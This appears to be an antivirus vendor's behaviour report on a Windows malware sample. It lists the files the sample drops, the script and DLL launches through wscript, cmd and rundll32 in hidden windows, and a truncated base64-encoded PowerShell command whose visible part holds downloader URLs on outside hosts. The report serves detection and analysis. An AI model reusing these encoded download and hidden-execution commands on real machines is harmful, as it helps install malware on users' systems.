Technical Information
Malicious functions
Creates and executes the following (exploit)
- '<SYSTEM32>\wscript.exe' %ALLUSERSPROFILE%\sduoixo.vbs
Executes the following (exploit)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1476
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\sduoixo.vbs
- %ALLUSERSPROFILE%\jledshf.bat
- %TEMP%\1071227.cvr
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\jledshf.bat" "
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBz...
- '<SYSTEM32>\cmd.exe' /c start /B %WINDIR%\syswow64\rundll32.exe %ALLUSERSPROFILE%\vbkwk.dll,dfsgeresd
- '%WINDIR%\syswow64\rundll32.exe' %ALLUSERSPROFILE%\vbkwk.dll,dfsgeresd
- '<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\jledshf.bat" "' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c start /B %WINDIR%\syswow64\rundll32.exe %ALLUSERSPROFILE%\vbkwk.dll,dfsgeresd' (with hidden window)
